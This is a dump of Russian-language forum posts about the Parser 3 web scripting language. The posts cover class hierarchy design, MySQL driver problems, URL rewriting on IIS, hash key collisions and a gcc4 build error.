"60899","Есть система, в которой каждая запрашиваемая страница представляет собой класс [b]Page[/b]. У этого класса есть метод [b]@index[][/b], который вызывается контролером. Сейчас структура классов идентична структуре сайта, т.е. если пользователь запрашивает раздел [i]/structure/news/[/i], подключается файл [i]/news/page.p[/i], если [i]/company/about/[/i] -- [i]/structure /company/about/page.p[/i] и т.д. Соответственно, после [b]^use[][/b] вызывается [b]^Page:index[][/b]. Проблем не возникало до тех пор, пока я не захотел сделать систему классов иерархичной. При использовании [b]@USE/@BASE[/b] вызывается метод родительского класса, а не подключаемого. Т.е. при запросе [i]/company/about/[/i] будет выдан результат метода [b]@index[][/b] файла [i]/company/page.p[/i], а не [i]/company/about/page.p[/i], как это предполагалось.\
	Александр Петросян сказал, что, возможно, есть другой путь решения данной проблемы. Может сама концепция системы не верна? Интересно услышать ваши мнения."
"60901","Попробуйте убрать этот кусок из кода, может ошибка не в нем? Если в нем, то советую вынести код в отдельный файл и делать <script type=\"text/javascript\" src=\"/путь/к/файлу.js\" />."
"60902","Нет уж. Это Вам :) \
Кстати, по поводу ЦМС Рафаеля. Поковырял. Сыро очень. А как понимаю ничего CMSопенсурсного так и не родилось, а очень хотелось. Жаль :( Собрать бы в кучу хотяб стандартный набор=главную,новости, каталог, фото, форму. Ну что ещё порядочному веб-мастеру надо :-) ведь всё есть в примерах практически.Оформить только и завернуть в тар.гЗ - пусть и без штрих-кода, зато с ОТК ;-\\ эх...грустно"
"60903","[code]\
	window.addEvent('domready', function(){\
		/* Tips 1 */\
		var Tips1 = new Tips(^$^$('.Tips1'));\
		\
		/* Tips 2 */\
		var Tips2 = new Tips(^$^$('.Tips2'), {\
			initialize:function(){\
				this.fx = new Fx.Style(this.toolTip, 'opacity', {duration: 500, wait: false}).set(0);\
			},\
			onShow: function(toolTip) {\
				this.fx.start(1);\
			},\
			onHide: function(toolTip) {\
				this.fx.start(0);\
			}\
		});\
		\
		/* Tips 3 */\
		var Tips3 = new Tips(^$^$('.Tips3'), {\
			showDelay: 400,\
			hideDelay: 400,\
			fixed: true\
		});\
		\
		/* Tips 4 */\
		var Tips4 = new Tips(^$^$('.Tips4'), {\
			className: 'custom'\
		});\
	}); \
</script>\
[/code]\
Но все равно советую вынести в отдельный файл."
"60904","Думаю, что в конечном итоге приду именно к его использованию, просто думал, что это не очень абстрактно."
"60905","т.е. в вашем случае, когда вам неизвестны имена классов, это или фабрика объектов или ^process."
"60906","при ^file::load[text;http://...] парсер пытается перекодировать буквы из кодировки, которую сообщил удалённый сервер в кодировку, узазанную в $request:charset\
\
в вашем случае получается, что удалённый сервер сообщил, что кодировка, в которой он отдает ответ: 'WINDOWS-CP1251', что есть нехорошо, ибо кодировка должна быть 'WINDOWS-1251'.\
\
если можете повлиять на них, то сообщите им что они указывают неверную кодировку. если вы приведёте ссылки на соотв. стандарты то велика вероятность что они поправят ответ.\
\
если у вас с этой стороны ничего не получится, то или можете указать $.charset[windows-1251], или грузить в binary (тогде ничего не перекодируется, и в случае если буквы у вас и там в 1251 это будет работать, по крайней мере до тех пор пока кто-то из вас не перейдет в другую кодировку) или сообщите парсеру что вы знаете про кодировку с таким именем (для чего в конфигурационном auto.p скопируйте строку с определением кодировки windows-1251 и измените в копии windows-1251 на windowscp-1251)"
"60907","что мешает вынести ЭТО в отдельный метод?\
тогда экранировать символы ';' будет не нужно, и останется разобраться только с '$', '^' и '@' в начале строки.\
\
или в отдельный файл, что в общем правильно, подобные методы должны быть в отдельном, подключаемом .js файле, чтобы скешироваться броузером и не гоняться сотни раз посетителю."
"60908","Вы имеете в виду, что один объект создает и использует в своих методах другой? А как же тогда расширение функционала за счет создания дочерних классов? Честно говоря, просто хотелось, чтобы конечный вызываемый класс мог использовать методы предыдущих.\
\
И еще я себе не представляю, как можно сделать автоматически создаваемую фабрику?"
"60909","потом создаёте класс-наследник\
и потом создаёте объект от последнего"
"60910","Я сам хотел сделать нечто подобное, но столкнулся с тем что ^use[] подключает файл как бы в контексте MAIN. А тут нужно в контексте данного класса или объекта. Для этого подходит оператор ^process{}, а лучше его реализация в виде \"старого доброго include\", который есть в старой версии библиотеки lib.p"
"60911","это КЛАССЫ. вам хотелось бы чтобы например класс int можно было использовать только внутри класса double?\
\
класс это в некотором роде ТИП будущих объектов. делать так, чтобы это тип имел какую-то зону видимости -- не факт что нужно."
"60912","то хочется наполнять класс Page в зависимости от положения инексного файла.\
Так создание в корне класса, а затем инклюд методов в данный класс по дороге, по сути не отличается от того как работают auto.p (Если я правильно это представляю)\
\
При этом все просто и понятно, не надо бесконечного наследования.\
\
Кстати баг с тем, что вызывается корневой, а не некущий метод класса, может быть вызван не правильным направлением включения файлов, и вместо того, чтобы быть первым, корневой у вас последний, и поэтому его метод и вызывается."
"60913","/about/company/team/it/01/page.p\
/about/company/team/it/02/page.p\
/about/company/team/it/03/page.p\
\
или\
\
/company/structure/territory/eastern-europe/russia/moscow-region/moscow/moscow-city/page.p\
\
Так чтоль?"
"60914","пусть имеется windows-приложение, являющееся админкой cms. принцип такой: сначала подготавливаются xml, xsl и т.д., потом все это заливается на сервак. вот вопрос: делать ли в этом приложении возможность заливки всего на сервер, или псть клиенты вручную заливают все?"
"60917","чтобы обеспечить максимальную прозрачность в управлении сайтом. Если ваши админы будут руками создавать xml-ки, а потом еще и руками заливать это дело на сервер - я не понимаю, где тут админка?"
"60919","но я не особо вдавался в описание проблемы, а пытался прочесть суть:\
[quot]\
Соответственно, после ^use[] вызывается ^Page:index[]. Проблем не возникало до тех пор, пока я не захотел сделать систему классов иерархичной. При использовании @USE/@BASE вызывается метод родительского класса, а не подключаемого.\
[/quot]\
\
если у нас есть класс A и его дочерний класс B, то как-бы мы что не подключили мы должны вызывать ^A:index[] или ^B:index[], никакого полиморфизма методов для операции с классами не будет (символ ':' при работе с объектами можно понимать как явное указание класса, метод которого мы хотим вызвать). нужен он? добро пожаловать к работе с экземпларами классов (объектами).\
\
если вопрос стоит в том, чтобы добавлять методы в какой-либо класс/объект -- то это умеет process, при это добавляемый метод перекрывает существующий там одноимённый (но к перекрытому обратиться становится невозможно)."
"60920","а есть ли смысл  его применять?\
ведь при отправке запроса нельзя узнать состояние ответа"
"60921","демо тут:\
http://oaozao.mcn.ru/\
http://oaozao.mcn.ru/admin/\
L: admin\
P: 1"
"60923","Сергей, уважаемый. А как это счастье можно пощупать? Это открыто? Мне очень понравилось. А рыба с дизайном вообще прелесть.:)"
"60924","... это старая версия - местами она нам не нравится уже - можно сделать лучше, но для многих задач её хватает за глаза. Т.ч. если интерес у общества будет к этой версии можем выложить исходники )"
"60926","интереса хоть отбавляй:-)Смело дописывайте меня в список интереса:>\
adduser -v Casey Ryback+1"
"60927","дело не в том, можно или нельзя, а в том, уместно и удобно ли это будет."
"60928","Сейчас мне приходиться постоянно перезагружать дело-без-дала всю страницу + есть проблемы с сортировкой разделов.\
\
Для сортировщика я нашел неплохой JS-модуль, но он работает только через AJAX."
"60930","Структура и файлы создаются через вебнутый интерфейс."
"60931","Правильно ли я понял, что use -- это тот же самый process с контекстом main? То есть если process позволяет выбрать любой класс, то use просто компилирует код в контексте класса main.\
Получается, что можно просто пройти циклом по всем файлам, начиная с корня и пропроцессить их в контексте текущего класса?"
"60932","Первым должен идти файл библиотеки."
"60934","[quote]Правильно ли я понял, что use -- это тот же самый process с контекстом main?[/quote]\
\
не совсем.\
1. ^use[операторы.p]\
2. ^use[статический_класс.p]\
3. ^use[динмический_класс.p]\
если в файле указано @CLASS (2 и 3), то фактически содержимое файла будет загружено и скомпилено в этот класс (а-ля тип), а не в MAI. если не указано -- то компилится в MAIN (класс \"по умолчанию\", 1)\
\
если сделать ^use[файл 1 с классом А.p], а затем ^use[файл 2 с классом А.p], то все методы, которые были созданы в классе А первым файлом будут убиты, второй файл _не_ дополнит первый, а полностью его переопределит.\
\
если надо добавить методы, то сейчас для этого можно использовать process.\
\
в принципе, сделать так, чтобы подключение нового файла не полностью переопределяло класс, а добавляло к нему методы (т.е. чтобы поведение было как у MAIN) -- возможно (например в помощью второго параметра у ^use[], смысл которого как у process), но... будет обсуждаться только в случае хорошего примера :)\
\
[quot]\
Получается, что можно просто пройти циклом по всем файлам, начиная с корня и пропроцессить их в контексте текущего класса?\
[/quot]\
\
осилить не могу (собственно даже не пытаюсь, т.к. изначально этот подход мне видится неверным). да и начальной задачи не понял, чтобы в принципе можно было дать ответ."
"60935","Идея была такова -- каждой странице сайта соответствует файл, в котором присутствует ряд методов, отвечающий за генерацию XML:\
* вызываемый при отсутствии $form:action @index[]\
* методы, одноименные $form:action\
* служебные методы\
Сейчас есть класс-контролер, который при заходе на страницу /test/path/, через ^use[] подключает класс /test/path/page.p и использует его статически -- ^Page:index[]. Но мне это не особо нравится, т.к. я хочу использовать методы из файлов /page.p и /test/page.p в файле /test/path/page.p, но чтобы его методы перекрывали определенные ранее. Как это сделать, я пока не очень понимаю. Наверное нужно будет отказаться от классов и в каждом page.p просто определять набор методов и потом процессить их по очереди, добавляя их методы в класс-контроллер.\
Я вовсе не утверждаю, что мой подход правилен, напротив, с удовольствием выслушаю предложения."
"60936","Задача ясна.\
\
в корне сайта делаете файл page.p\
в нем пишите что это класс и все прочее что должно быть\
а во всех каталогах раскидываете файлы без описания класса, а только с методами. и в нужном порядке их поключаете:\
\
/page.p\
/1/page.p\
/1/2/page.p\
\
page.p :\
[code]\
@CLASS\
Page\
\
@index[]\
[/code]\
\
/1/page.p :\
[code]\
@index[]\
\
@1[]\
\
@2[]\
[/code]\
\
/1/2/page.p :\
[code]\
@index[]\
\
@2[]\
\
@3[]\
[/code]\
\
и подключив сначала /page.p\
 а потом проинклюдив в него /1/page.p а затем /1/2/page.p (Порядок не перепутайте) получите класс Page с методами\
index, 1, 2, 3"
"60937","Очень часто наталкиваюсь на то, что требуется аналог функции return.\
Тоесть хочется иметь что-то вроде оператора ^return[result] \
который бы заканчивал работу метода с заданным значением.\
\
потому как использование для этого конструкции\
 [code]^try{\
   ^trow[..]\
 }{\
\
 }[/code]\
\
мне кажется нелепым для такой задачи\
\
\
И еще. Есть ли способ узнать из метода класса как его вызывают, статически, динамически или как конструктор?"
"60940","если хочется подключать стат. классы, то так не получится, ибо второй page.p полностью заменит то, что сделал первый.\
\
а если подключать в MAIN, то пропадает вся суть, и тогда проще и легче использовать стандартный механизм:\
/auto.p\
/1/auto.p\
/1/2/auto.p\
\
\
можно нарисовать оператор, который будет принимать имя класса, путь и делать что надо: бежать от корня до указанного пути, проверять есть-ли файл с именем 'class.p', если есть то загружать его. проверять есть ли у нас класс с указанным именем (например можно принять как данность что в @auto[] всех классов определяем $sClassName), если класс есть, то удаляем из тела @CLASS и process загруженого текста в уже сущетсвующий класс, если нет -- process без указания target.\
\
но... изврат это, imho."
"60941","2. по моему способа нет."
"60942","Скажи, вам самим нравится конструкция описания свойств\
[code]\
@GET_prop[]\
[/code]\
\
если да, то тогда ваше отношение к ее развитию и дополнению\
\
[code]\
@CONCTRUCT_name[]\
\
@GET_name[]\
\
@LOCAL_name[]\
\
# @PUBLIC_pr лично мне кажется не нужным\
\
[/code]\
\
Просто судя по мнениям, что я видел в форуме, этот вопрос волнует не только меня.\
\
\
Еще вопрос: поясните как работать со ссылками на переменные, функции."
"60944","Не сказать, что прямо готовый сортировщик.\
Просто то, что у меня сейчас используется на Parser работает достаточно не эффективно, да и вообще с глюками. В некоторых коммерческих админках я обратил внимание, что для сортировки разделов используется модули, показывающие структуру сайта в виде дерева, в котором ветки можно таскать.\
\
Подобных модулей навалом. Я скачал несколько и сейчас на досуге иногда с ними разбираюсь, но AJAX пока не трогал.\
Для примера:\
\
[url=\"http://extjs.com/\"]http://extjs.com/[/url]\
\
[url=\"http://developer.yahoo.com/yui/\"]http://developer.yahoo.com/yui/[/url]"
"60945","[quot]\
Скажи, вам самим нравится конструкция описания свойств\
[/quot]\
\
мне нет. \
сам не пользуюсь.\
предпочитаю работать со свойствами классов через методы.\
\
\
[quot]\
ваше отношение к ее развитию и дополнению\
[/quot]\
\
предложенное не нравится. уже обсуждаемое ранее:\
@OPTIONS\
local\
\
+ возможно какой либо способ задания privat/public/protected _методов_ возможно был бы интересен.\
\
[quot]\
Еще вопрос: поясните как работать со ссылками на переменные, функции.\
[/quot]\
\
1. $таблица[^table::create{...}]\
^метод[$таблица] -- передается ссылка на переменную.\
\
2. \
[code]@main[]\
^method2[$method1]\
\
\
@method1[]\
Method 1\
\
\
@method2[jVar]\
Method 2\
^jVar[]\
\
[/code]"
"60946","Основная проблема в придумывании способов задания - это как не испортить всем жизнь, внедрив новый синтаксис.\
\
Плюс ко всему хотелось бы услышать от вас рамки разумного, потому как придумать можно много интересных вариантов, но не известно что из этого вы сможете реализовать.\
\
-----\
[quote]1. $таблица[^table::create{...}]\
^метод[$таблица] -- передается ссылка на переменную.[/quote]\
а что происходит при $name[$таблица] ?"
"60947","у меня нет этих рамок. в общем по большому счёту мне это особенно-то и не нужно (ну, кроме local). т.к. это больше организационный вопрос. имея в каком-либо используемом классе указание что метод X privat ничего не мешает подправить это.\
\
\
тоже самое что и при ^метод[$таблица] -- передается ссылка. обсуждалось не раз, воспользуйтесь поиском, плиз."
"60948","Сменил драйвер MySQL на идущий вместе с MySQL5. В результате получаю следующую ошибку. Задача подключиться к удалёному серверу с локального компьтера. На локальном компьютере MySQL5 не установлен только MySQL4.\
\
[quot]\
[b]\\home\\12700~1.5\\cgi\\p321/lib/parser3mysql.dll[/b]\
\
driver failed to initialize client library '\\home\\12700~1.5\\cgi\\p321/lib/libmySQL.dll', can't open the module\
\
z:/home/127.0.0.5/www/classes/sync.p(55:18)\
[/quot]\
\
Вопрос сталкивался ли кто с этим, и если сталкивались как решали.\
В поиске много подобных ошибок, но совей я не нешёл."
"60949","FAQ:\
http://www.parser.ru/faq/errors/\
Поиск:\
http://www.parser.ru/forum/?terms=%22driver+failed+to+initialize+client+library%22&author=&doSearch=%CD%E0%E9%F2%E8"
"60950","Ошибок с путём нет, тк производится подмена файла и Parser перестаёт работать. после проведения обратной подмены начинает работать.\
\
Под работой понимается работа с MySQL4. Работать с MySQL5 без соответствующей библиотеки parser пока не умеет. Но с библиотекой MySQL5 parser выдаёт ранее указанную ошибку при обращении и к MySQL4 и к MySQL5."
"60952","Могу дать то, что у меня работает.\
Четно говоря, мне эта сборка когда-то тоже досталась тут на форуме, я тогда еще на второй Debian ставил."
"60953","Требуется веб-программист в Москве на part time для развития портала. Оплата за каждое выполненное задание.  Работа удаленная, но необходимо выделять время для нескольких встреч в месяц. \
Пишите на abbukibuki@gmail.com, 308251596, или звоните 8-916-409-60-14\
Требуется наличие портфолио разработанных сайтов, а также знание языка Parser. Первое задание – разработка партнерской программы."
"60954","где сошедшая потом с ума соседка героя прилипла к липучке, а герой парил выше?\
\
вы уже ценность классов осознали, а за файловую структуру всё цепляетесь ;)\
\
скорее бросайте её, url пусть живёт своей жизнью, а ваши классы — своей.\
\
пусть лежат вне веб-пространства.\
\
пусть не имеют ничего общего со словом Page.\
\
http://www.parser.ru/forum/?id=54245"
"60955","MVC -- это великолепная архитектура, и я ее с удовольствием использую. Система, которая разрабатывается, выглядит следующим образом:\
1) Структура. Редактируется через вебнутый интерфейс. Данные о разделах и файлах хранятся в базе, а физически они находятся на диске в каталоге, который имеет структуру, идентичную приложению.\
2) Контролер. Обрабатывает запросы пользователя и вызывает модель, передавая ей необходимые параметры.\
3) Модель. Формирует XML-обертку в зависимости от переданных параметров.\
4) Представление. XSLT, который преобразует полученный от модели XML необходимым образом.\
Все служебные методы системы живут в классе Engine, а методы, отвечающие за формирование страниц -- в Main.\
Пример работы логики:\
1) Сервер получает запрос /news/, перенаправляет его на /structure/news/ в котором лежит index.html, вызывающий контролер и auto.p с набором методов, отвечающих за формирование именно этой страницы. Если файла нет -- 404, если есть -- ряд проверок контролером, например на опубликованность, публичность и т.п. Эти данные тянутся из базы. В случае, когда все в порядке, контролер проверяет, был ли указан метод в $form:action, который необходимо вызвать или использовать дефолтный @index[]. Вызываемый метод передается в модель ^self.model[^MAIN:methodName[]].\
2) Модель формирует оберточный XML, в который входит различная служебная информация. Внутрь обертки помещается XML, сформированный ^MAIN:methodName[]. Далее инициализируется XSL-шаблон -- если запрос выполнен с помощью XMLHttpRequest, используем специальный ajax.xsl, иначе default.xsl. Ну и полученный в результате трансформации xhtml возвращается клиенту.\
\
Можно долго спорить о реализации, ведь можно было объединить служебные методы и методы приложения, можно было врубить мега абстракцию и побить все на классы и модули и т.п. и т.д. Но хочется именно фрэймворк. Фрэймворк, позволяющий быстро создавать структуру, управлять доступом, создавать интерфейсы. Фрэймворк, который будет служить макетом всех будущих приложений. Фрэймворк, с которым будет просто [b]удобно[/b] работать. Именно для удобства задумывался каталог, повторяющий структуру приложения, чтобы можно было быстро найти необходимые кирпичики проекта.\
\
Вот такие возникли мысли, что скажете?"
"60956","Миша сумел так сделать, что сделанная им, в ваших терминах, «мега абстрация», очень удобна.\
\
в наших глазах файловая структура каталогов, повторяющая проект, это просто липкая липучка, которая если имеет право на жизнь, так только для статических файлов, чтобы разгрузить сервер.\
\
оракловцы в своём сервере и от файлов на диске давно отказались. на выходе они имеют возможность относительно простой кластеризации без файло-проблем.\
\
мне кажется, вы имели в виду «привычно работать», а написали «удобно работать».\
\
parser позволяет довольно большую гибкость в обработке и parser кода и xsl. и то и другое давно можно поместить вообще в базу данных и поскорей забыть про файлы.\
\
в imprimatur2 (не использует parser) мы xsl не храним на диске.\
\
для достижения нирваны, как вы абсолютно справедливо заметили, необходимо удобство.\
\
в imprimatur2 мы обеспечили его при помощи среднетолстого клиента.\
\
пока предлагаю подумать про WebDAV.\
этот протокол сейчас поддерживает много текстовых редакторов и файловых менеджеров.\
с его помощью можно изобразить файловые структуры, фактически их не имея."
"60959","Работает ли windows версия parser3 с MySQL5. Linux версия работает точно :)\
\
Сответствующую dll я брал с сайта MySQL.com из версии не требующей установки."
"60960","однако судя по [url=\"/forum/?id=37110\"]сообщениям с форума[/url] вроде упоминаемая dll работала."
"60962","[url=\"/forum/?id=58940\"]писали[/url] об аналогичных проблемах с 5.1.\
\
но... мы пока не будем разбираться, т.к. 5.1 ещё beta, в её библиотеке что-нить может ещё измениться. однако если кому-то хочется побыть первопроходцем -- исходники доступны."
"60963","Если быть совсем точным, речь идёт вот об этом:\
http://dev.mysql.com/downloads/mysql/5.0.html#win32\
Without installer (unzip in C:\\)		5.0.41\
\
Выкачал из архива соответствующую dll\
\
Сейчас выкачиваю полностью Windows Essentials (x86), установлю СУБД поиграюсь на локалхосте, может чего прояснится."
"60964","А взятая из установленного дистрибутива - работает.\
\
Правда с неясным косяком.\
При загрузке любой страницы, с использованием SQL - результат отдается примерно за пять-шесть секунд, причем иногда отдается сразу, но страница как бы \"висит\" - ждет чего то.\
\
Ставил сэйвы в разных местах, стало понятно, что с БД парсер работает нормально, код отрабатывается нормально.\
Откуда такой тормоз - понятия не имею...\
\
Приходится каждую страницу ожидать.\
\
А, да, если случается exception - то выглядит это точно также, т.е. тормоз в 5-6 сек, потом отображается debug. Или сразу отображается, но догоняет еще несколько секунд."
"60965","Размер библиотек абсолютно одинаковый 2 031 616 байт."
"60966","В дистрибутиве MySQL50 лежит библиотека 51\
Только что посмотрел что лежит в MySQL GUI Tools 5.0, таже самая библиотека. При этом MySQL Administrator сообщает что версия библиотеки 5.1.11\
\
Если у кого есть библиотека 5.0 киньте в меня плз. Я положу на сервер и ссылку дам для наступющих :)\
\
opeg@yandex.ru"
"60967","Добрый MySQL выкладывает все, ну или по крайней мере большинство своих релизов постоянно, по этому делюсь ссылкой :)\
http://downloads.mysql.com/archives.php?p=mysql-5.0&v=5.0.27"
"60968","MySQL Administrator сообщает что версия клиентской библиотеки 5.0.11\
\
размер файла \"...\\MySQL Tools for 5.0\\libmySQL.dll\" - 1 449 984 байта\
\
при этом если взять \"\\MySQL\\bin\\libmySQL.dll\" (размер 1 519 616 байт), то administrator запускаться отказывается."
"60969","у вас самый большой опыт создания сайтов, потэтому спрашиваю именно у вас.\
у вас каждая страница лежит в отдельном каталоге, или есть приложения сборщик, которое в зависимости от строки запроса собирает страницу по частям? последний способ хорошо для серверов на Апаче, но что делать с IIS, там же перезапиьс url платная, и клиент не всегда готов за это платить. использование 404 ошибки грузит сервер."
"60970","вы набирали C#-программистов (на artlebedev.ru написано), но все проекты по-прежнему пишете на парсере. почему? какой хостинг выбирают больше клиенты - *nix или windows?"
"60971","http://alepira.ural.ru/css2/index.htm"
"60973","студия занимается не только web-ом да и web проекты делаются НЕ только на парсере\
\
unix"
"60974","да тут все так раздулось, не лопатить же мне 40 страниц результата поиска. главным образом меня интересует расположение страниц для IIS. там нет модуля перезаписи адресов (в общем случае). поэтому если для каждой страницы елси создавать каталоги, то получится туча эих каталогов"
"60975","Цель форума - аккумулировать знания, полученные в результате вопросов/ответов.\
Если каждый будет задавать один и тот же вопрос по несколько раз из базы знаний форум превратиться в свалку информации или подобие лога переписки по ICQ.\
Все пользуються поиском и вы не ленитесь."
"60977","а... понял... там не всё было переведено, изменил ссылку."
"60978","Вернее была еще утром..."
"60979","В $price HTML код страницы\
Через\
[code]$file[^file::create[text;price.xls;^untaint[xml]{$price}]] \
$response:download[$file][/code]\
формирую выдачу файла price.xls\
\
Как вставить картинки в этот $price, чтобы они и у пользователя при скачивании просматривались?"
"60980","вообще меня интересовал вопрос относитьно IIS.\
но тут похоже никто кроме Apache ничего не знает."
"60983","http://swissknife.bougakov.com/misc/iis/\
\
Прочитайте самый конец страницы. А лучше всю статью!"
"60985","... можно получить еще один полезный линк - http://cheeso.members.winisp.net/IIRF.aspx\
\
p.s. На крики в форуме вы потратили гораздо больше времени. :("
"60988","меня интересовало то, как это делаюь в Студии Лебедева.\
способы я знаю хорошо. меня реализация интересовала именно у них."
"60989","если клиент желает его использовать, и хочет хостить всё у себя -- то в случае с imp1, упоминаемый Rewrite обязателен.\
\
P.S. по поводу его цены: мне кажется она не высокая по сравнению со стоимостью железа, соотв. версии Windows + MS SQL + ... разработкой сайта в студии :)"
"60990","ну наконец толковый ответ, спасибо :)"
"60991","Для счетчика посещений, чтобы отделять тысячи от остальных цифр и так далее.\
Вот такой счетчик:\
[quote]@counter[i_file_name][file_name;file;count]\
^if(!def $i_file_name){^throw[counter;file_name not specified]}\
$file_name[${i_file_name}.count]\
^file:lock[${file_name}.lock]{\
	^try{\
		$file[^file::load[text;$file_name]]\
		$result[^eval($file.text)]\
	}{\
		$exception.handled(1)\
		$result(0)\
	}\
	$count[^eval($result+1)]\
	^count.save[$file_name]\
}[/quote]\
такой его вызов:\
[quote]@countit[]\
^counter[/counter/counter][/quote]"
"60995","что попробовали, что подумали?"
"60998","если вас не затруднит, не приведёте-ли пример sql запроса с полнотекстовым поиском mysql, находящего эти самые \"контексы\" в списке сообщений?"
"60999","поискал ответ на форуме... не нашел\
подумал... и не придумал :("
"61000","В уже отобранных для вывода на страницу поиска сообщениях средствами парсера находить контекст.\
\
Не доведенный до ума пример http://www.headless.spb.ru/search/?str=artlebedev\
\
Я думаю, что гораздо удобнее искать, когда можно \"подглядеть внутрь\", не кликая лишний раз.\
\
Не зря же это сделано на поисковых сайтах.\
\
З.Ы. Можете просто послать меня в жопу с подобными предложениями ;)"
"61001","в приведенном примере поиск по форуму, где этих заголовков нет. т.е. там вообще нет другово выхода (ну... можно просто список ссылок показать).\
\
я не утверждаю, что в нашем случае всё сильно ухудшится, если контекст будет выводиться, однако задача эта не на 5 минут (помним про язык запросов который надо разобрать и про метатеги, обрезать которые надо очень осторожно), и мне кажется более правильным потратить его на что-нить более полезное, например на то, что приблизит релиз очередной версии :)"
"61008","Привет всем! Давно не виделись :)\
\
Подглядел тут идею:\
\
http://slavik.chayka.info/media/1/20050308-super-anti-autoreg.gif"
"61010","Такая защита не только от роботов спасёт, но и от посетителей тоже."
"61011","Программист быстре напишет бота для решения таких задач, чем рядовой пользователь научится их решать :)"
"61015","Как настроить перекодировку?\
смотрел в скачать/Разное/ue_koi8.zip\
[quote]\
3. Open uedit32.ini (can be found in windows directory)\
[/quote]\
\
не нашел файл uedit32.ini"
"61016","нашел! Теперь наслаждаюсь!"
"61019","возможно ли в принципе получить данные из конкретной ячейки по номеру строки и столбца - А5, например?\
\
Перевод в csv и затем load infile... не подходит, т.к. структура в файле xls просто ужасная - сотни столбцов, пропуски, объединения и т.д. Зато известно в какой ячейке находятся нужные данные."
"61028","ура."
"61029","[code][b]add[/b]\
is 'table', not a method or junction, can not call it\
[/code]\
ошибка вылетает, если в строке запроса ввести что-то типа ?add=language в следующем методе\
\
[code]################################################\
@makeUri[hParams][hFields]\
$hParams[^hash::create[$hParams]]\
$hFields[$form:tables]\
^hFields.add[$hParams]\
$result[?^hFields.foreach[sField;oValue]{^if($oValue is \"table\"){^oValue.menu{$sField=^taint[uri][$oValue.field]}[&]}{$sField=^if(!($oValue is \"file\")){^taint[uri][$oValue]}}}[&]]\
#end of @make_uri[][/code]\
\
Метод формирует УРИ, не херя текущую строку запроса. Использую для смены языка на сайте. Т.е. чел лазил лазил по сайту - налазил некоторую строку УРИ. Жмет в другой язык сайта, и чел там же где и был, только на другом языке.\
\
Я так понимаю, что идет пересечение названия поля и метода хеша ^hash.add[]. Т.е. при получении полей в хеше появляется поле add, и при попытке ^hFields.add[$hParams] получаем ошибку. Как лечить? Только заменить название поля формы?"
"61032","1. переименовать поле\
2. в данном случае можно воспользоваться union вместо add"
"61033","Вот как то так будет uri.\
[code]@makeUri[hParams;sTargetUrl][hFields]\
# можно и свой     ^^^ URL передать\
^if(!def $sTargetUrl){\
$sTargetUrl[^request:uri.match[([^^?]+)\\??.*][]{$match.1}]\
}\
$hParams[^hash::create[$hParams]]\
$hFields[$form:tables]\
^hFields.add[$hParams]\
$result[$sTargetUrl^if($hFields){?^hFields.foreach[sField;oValue]{^if($oValue is \"table\"){^oValue.menu{$sField=^taint[uri][$oValue.field]}[&]}{$sField=^if(!($oValue is \"file\")){^taint[uri][$oValue]}}}[&]}][/code]"
"61035","хотя конечно это не решение проблемы в общем виде, т.к. в следующий момент может потребоваться добавить поле 'union'.\
\
в принципе можно на основании двух хешей сформировать их сумму \"ручками\":\
[code]\
$hResult[\
	^h1.foreach[k;v]{$.[$k][$v]}\
	^h2.foreach[k;v]{$.[$k][$v]}\
]\
[/code]\
\
что решит проблему с add и union, но не решит с полем 'foreach' + приведёт к потери производительности и повышенному расходу памяти.\
\
как вариант решения проблемы (опять-же частичного) -- добавление к хешу методов-синонимов по аналогии с _count (_add, _union и т.д.), но данное \"решение\" считаю синтаксически некрасивым."
"61036","можно сделать хеш резервированных ключей, проверить есть ли эти ключи в хеше исходнике, вырезать, и выложить их руками в УРИ. Пообедаю - напишу код.\
\
\
...пока обедал, понял, что метод загнется на поле sub. Похоже, единственный вариант - не использовать резервированые слова в названиях полей."
"61042","не нужно load infile, можно \
[code]\
$t[^table::load[nameless;file.csv]]\
#строка A\
^t.offset[set](0)\
#колонка 5\
$t.колонка\
[/code]"
"61043","начиная с office 2003 славный excel умеет хранить .xls в текстовом формате [b]с сохранением форматирования[/b] (File|Save as… «XML Spreadsheet»).\
\
с этим форматом несложно работать из parser."
"61045","[code]$hResult[\
	^hash::create[$h1]\
	^hash::create[$h2]\
][/code]\
\
Должно шустрее выйти и foreach поле не будет обругано."
"61047","Мда...\
В любом случае, как ни крути, если в итоговом хэше окажется ключ foreach, то всё упадёт.\
\
На мой взгляд, самое верное решение — не использовать зарезервированные слова в качестве полей формы и проверять, чтоб не подсунули."
"61050","What kind of error is that?"
"61052","При сборке из исходников Parser версии 3.2.1sp2 при make возникает ошибка:\
\
[code]if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl     -march=i686 -mtune=pentium4 -O2 -pipe -MT pa_common.o -MD -MP -MF \".deps/pa_common.Tpo\" -c -o pa_common.o pa_common.C; \\\
        then mv -f \".deps/pa_common.Tpo\" \".deps/pa_common.Po\"; else rm -f \".deps/pa_common.Tpo\"; exit 1; fi\
In file included from ../types/pa_vstateless_class.h:18,\
                 from ../types/pa_vstateless_object.h:16,\
                 from ../types/pa_vstring.h:15,\
                 from ../../src/include/pa_http.h:13,\
                 from pa_common.C:36:\
../types/pa_method.h:77: error: extra qualification 'Method::' on member 'Method'\
pa_common.C:734: warning: deprecated conversion from string constant to 'char*'\
make[2]: *** [pa_common.o] Error 1\
make[2]: Leaving directory `/var/abs/local/parser/src/parser-3.2.1/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/var/abs/local/parser/src/parser-3.2.1/src'\
make: *** [all-recursive] Error 1[/code]\
\
[b]Операционная система:[/b] GNU/Linux\
[b]Ядро:[/b] Linux 2.6.21.5\
[b]Glibc:[/b] 2.6\
[b]GCC:[/b] 4.2.0, собранный как:\
[code]Целевая архитектура: i686-pc-linux-gnu\
Параметры конфигурации: ../configure --prefix=/usr --enable-shared --enable-languages=c,c++,objc --enable-threads=posix --enable-__cxa_atexit --disable-multilib --libdir=/usr/lib --libexecdir=/usr/lib --enable-clocale=gnu --disable-libstdcxx-pch[/code]\
[b]make:[/b] GNU make 3.81"
"61053","http://www.parser.ru/forum/?id=55701\
\
пока собирается только 3 версией компилятора."
"61054","Какая жалость, так хотелось попробовать...\
\
Долго ли Parser будет происходить переход с GCC3 на GCC4? Мне не очень хочется ради одной программы переустанавливать компилятор, а узлов с gcc3 поблизости нет."
"61055","мы будем заниматься этим только когда потребуется нам.\
\
если кто-то пришлет patch -- внедрим."
"61056","Хорошо, я свяжусь с вами по поводу переноса Parser на gcc4 позже.\
Спасибо."
